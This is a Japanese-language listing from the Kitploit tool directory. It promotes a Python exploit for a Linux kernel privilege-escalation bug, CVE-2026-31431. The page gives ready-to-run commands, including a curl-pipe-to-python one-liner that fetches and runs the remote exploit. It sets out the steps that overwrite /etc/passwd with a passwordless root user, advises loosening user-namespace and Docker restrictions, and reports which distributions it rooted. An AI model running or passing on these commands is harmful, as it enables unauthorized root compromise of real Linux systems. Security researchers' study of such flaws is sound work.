Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-31431 — Linuxカーネルのローカル権限昇格エクスプロイトのPython実装。CVE-2026-31431を利用し、xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COWを悪用して/etc/passwdを上書きし、root権限を取得します。 | Kitploit
ツール/GitHubGitHub/guiimoraes/cve-2026-31431
特権昇格エクスプロイトフレームワーク脆弱性分析エクスプロイトペネトレーションテストバイナリエクスプロイト
GitHubguiimoraes/cve-2026-31431

CVE-2026-31431

Linuxカーネルのローカル権限昇格エクスプロイトのPython実装。CVE-2026-31431を利用し、xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COWを悪用して/etc/passwdを上書きし、root権限を取得します。

リポジトリを見る
33ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CopyFail2 エクスプロイトデモ

CopyFail2 (CVE-2026-31431) - Python実装

xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW 高速パスを利用したCopyFail2カーネルエクスプロイトのPython移植版。非特権Linuxユーザーによるローカル権限昇格を実現します。

/etc/passwd 内の nologin/false エントリをパスワードなしのuid-0ユーザーに置き換え、su 経由でrootシェルに移行します。

脆弱性

このカーネルバグは、xfrm ESP-in-UDPカプセル化で使用されるUDPスプライスパスに存在します。MSG_SPLICE_PAGES を指定してUDPソケットに splice() すると、コピーオンライトを発生させずにページが受信側のページキャッシュにマッピングされます。これにより、読み取り専用で開かれているファイルであっても、ページキャッシュにマッピングされている任意のファイルへの書き込みが可能になります。

  • オリジナルC実装: 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
  • 上流修正: netdev/net.git

要件

  • Linuxカーネル >= 6.5 (MSG_SPLICE_PAGES UDPサポート)
  • libcrypto.so (OpenSSL)
  • Python 3.8+
  • CAP_NET_ADMIN またはユーザー名前空間を作成する権限

使用するバージョン

このリポジトリには2つのバリアントがあります。どちらも同じ結果を生成します。制約に応じて選択してください。

クイックスタート(最適化版)

root@kitploit:~
# パイプ経由のワンライナー
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"

# ファイルに保存して実行
python3 exploit.py

# 変更を元に戻す
python3 exploit.py --clean

クイックスタート(raw/リファレンス版)

root@kitploit:~
python3 exploit_raw.py
python3 exploit_raw.py --clean

apparmor_restrict_unprivileged_userns が有効なUbuntuでは、まずファイルを保存してからディスクから実行してください。パイプモードではAppArmor回避処理がスキップされます。

root@kitploit:~
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py

動作の仕組み

  1. キーストリームバイトが元の /etc/passwd のバイトを目的の値にXORするAES-GCM IVをブルートフォースで探索します。
  2. 127.0.0.1:4500 にローカルのxfrm ESP-in-UDP状態をインストールします。
  3. 偽造されたESPヘッダーとICVを含む攻撃者制御のバッキングファイルを作成します。
  4. 3つの範囲(ESPヘッダー、/etc/passwd の対象バイト、ICV)をパイプに splice() します。
  5. パイプをUDPソケットに splice() し、カーネルバグをトリガーしてバイトをページキャッシュに書き込みます。
  6. 異なるバイトごとに繰り返し、nologin/false 行を sick::0:0:...:/:/bin/bash に上書きします。
  7. su - sick でrootに移行します(PAM nullok が空のパスワードを受け入れます)。

テスト済み環境

トラブルシューティング

cannot acquire CAP_NET_ADMIN

カーネルで kernel.unprivileged_userns_clone=0 が設定されている可能性があります。有効にしてください:

root@kitploit:~
sudo sysctl kernel.unprivileged_userns_clone=1

Docker内で実行している場合は、--privileged または --cap-add=SYS_ADMIN を指定してコンテナを起動してください。

クレジット

  • Hyunwoo Kim (imv4bel) および Kuan-Ting Chen — 発見と上流修正
  • Steffen Klassert — IPsecメンテナー、修正を公開
  • Brad Spengler / grsecurity — 「copyfail-class」と命名
  • Theori / Xint — オリジナルのCopy Fail (CVE-2026-31431)
  • オリジナルCエクスプロイト: 0xdeadbeefnetwork
  • Pythonエクスプロイト: guiimoraes

免責事項

このツールは、認可されたセキュリティ研究および教育目的のみで提供されています。所有していないシステム、または明示的なテスト許可がないシステムに対して使用しないでください。著者は、このソフトウェアの誤用または損害について一切の責任を負いません。

ツールをダウンロード
ファイル説明速度使用場面
exploit.py最適化版 — xfrm状態/ソケット/パイプを変異間で再利用し、1ラウンドあたり連続する2バイトをバッチ処理、固定スリープの代わりにアクティブポーリングを使用。99バイト行で約3〜8秒デフォルトの選択肢。高速で安定しており、複数のディストリビューションでテスト済み。
exploit_raw.pyリファレンス版 — オリジナルのCコードに最も近い実装。1バイトごとに xfrm状態、ソケット、パイプ、一時ファイルを再作成し、変異ごとに固定200msのスリープを使用。99バイト行で約30〜40秒監査用に可能な限りシンプルなコードパスが必要な場合、または最適化版が特定のカーネルビルドで誤動作する場合に使用。
ディストリビューションカーネル結果
Ubuntu 24.04 LTS6.8.0-110-genericroot
Debian 136.12.74root
Arch6.19.11-arch1-1root
Fedora 436.19.14-200.fc43root
Ubuntu 26.04 LTS7.0.0-15-genericroot
Ubuntu 22.04 LTS5.15.0-176-generic脆弱性なし